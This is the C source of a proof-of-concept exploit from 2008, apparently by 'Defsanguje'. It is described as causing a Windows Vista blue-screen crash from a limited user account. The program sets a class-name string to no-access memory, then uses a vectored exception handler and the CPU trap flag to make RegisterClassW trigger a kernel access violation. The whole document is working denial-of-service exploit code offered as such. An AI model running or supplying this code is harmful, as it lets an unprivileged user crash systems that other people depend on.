// ////////////////////////////////////////////////////////////// // Windows Vista BSoD (Access violation) from limited account. // // Tested on Home Premium & Ultimate @ October 05 2008 // ///////////////////////////////////////////////////////////////// #include <stdio.h> #include <windows.h> WCHAR szClass[] = L"BSODClass"; int ExceptionHandler(EXCEPTION_POINTERS* lpExceptionInfo); typedef void (WINAPI* pFunc)(ULONG ulFirst, LPVOID lpHandler); pFunc pRtlAddVectoredExceptionHandler; typedef struct { DWORD dwWriteViolation; LPVOID lpAddress; } EXCEPTION_ACCESS_VIOLATION_PARAMS; int main() { WNDCLASSW wc; DWORD dwOldProt; printf("Windows Vista BSoD from usermode/limited account.\n" "Coded by. Defsanguje - October 05 2008\n"); // Setup vectored exception handler. SEH would work also. pRtlAddVectoredExceptionHandler = (pFunc)GetProcAddress((HMODULE)GetModuleHandle("ntdll.dll"), "RtlAddVectoredExceptionHandler"); (*pRtlAddVectoredExceptionHandler)(TRUE, ExceptionHandler); // Dummy data wc.style = 0; wc.lpfnWndProc = NULL; wc.cbClsExtra = 0; wc.cbWndExtra = 0; wc.hInstance = GetModuleHandle(NULL); wc.hIcon = NULL; wc.hCursor = LoadCursor(NULL, IDC_ARROW); wc.hbrBackground = GetStockObject(HOLLOW_BRUSH); wc.lpszMenuName = NULL; wc.lpszClassName = szClass; VirtualProtect(szClass, 1, PAGE_NOACCESS, &dwOldProt); RegisterClassW(&wc); printf("You shouldn't see this"); return 0; } int ExceptionHandler(EXCEPTION_POINTERS* lpExceptionInfo) { static LPVOID lpLastAddress; static DWORD dwOldProt; EXCEPTION_ACCESS_VIOLATION_PARAMS* avParams; switch(lpExceptionInfo->ExceptionRecord->ExceptionCode) { case EXCEPTION_ACCESS_VIOLATION: avParams = (EXCEPTION_ACCESS_VIOLATION_PARAMS*)lpExceptionInfo->ExceptionRecord->ExceptionInformation; VirtualProtect(avParams->lpAddress, 1, PAGE_READWRITE, &dwOldProt); lpLastAddress = avParams->lpAddress; // Set trap flag lpExceptionInfo->ContextRecord->EFlags |= 0x100; break; case STATUS_SINGLE_STEP: VirtualProtect(lpLastAddress, 1, PAGE_NOACCESS, &dwOldProt); break; default: break; } return EXCEPTION_CONTINUE_EXECUTION; ; }